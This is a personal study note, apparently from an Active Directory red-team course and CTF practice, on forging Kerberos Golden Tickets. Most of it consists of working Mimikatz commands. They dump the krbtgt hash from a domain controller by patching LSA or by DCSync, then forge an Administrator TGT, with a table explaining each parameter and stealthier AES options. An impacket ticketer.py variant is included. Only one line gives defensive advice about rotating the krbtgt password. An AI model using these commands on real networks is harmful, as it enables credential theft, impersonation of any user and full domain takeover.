Golden Ticket | Notion

A golden ticket is signed and encrypted by the hash of krbtgt account which makes it a valid TGT ticket.
Since user account validation is not done by Domain Controller (KDC service) until TGT is older than 20 minutes, we can use even deleted/revoked accounts.
The krbtgt user hash could be used to impersonate any user with any privileges from even a non-domain machine.
As a good practice, it is recommended to change the password of the krbtgt account twice as password history is maintained for the account.

Untitled

Execute mimikatz on DC as DA to get krbtgt hash

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' –Computername dcorp-dc

On any machine

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Invoke-Mimikatz -Command
kerberos::golden	kerberos::golden
/User:Administrator	Username for which the TGT is generated
/domain:dollarcorp.moneycorp.local	Domain FQDN
/sid:S-1-5-21-1874506631-3219952063-
538504511	SID of the domain
/krbtgt:ff46a9d8bd66c6efd77603da26796f35	NTLM (RC4) hash of the krbtgt account. Use /aes128 and
/aes256 for using AES keys which is more silent.
/id:500 /groups:512	Optional User RID (default 500) and Group default 513 512 520
518 519)
/ptt
or
/ticket	Injects the ticket in current PowerShell process - no need to
save the ticket on disk
Saves the ticket to a file for later use
/startoffset:0	Optional when the ticket is available (default 0 - right
now) in minutes. Use negative for a ticket available from
past and a larger number for future
/endin:600	Optional ticket lifetime (default is 10 years) in minutes.
The default AD setting is 10 hours = 600 minutes
/renewmax:10080	Optional ticket lifetime with renewal (default is 10 years)
in minutes. The default AD setting is 7 days = 100800

To use the DCSync feature for getting krbtgt hash execute the below command with DA privileges (or a user that has replication rights on the domain object):

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Using the DCSync option needs no code execution (no need to run Invoke-Mimikatz) on the target DC

ticketer.py -spn MSSQLSvc/dc1.scrm.local  -user-id 500 Administrator -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local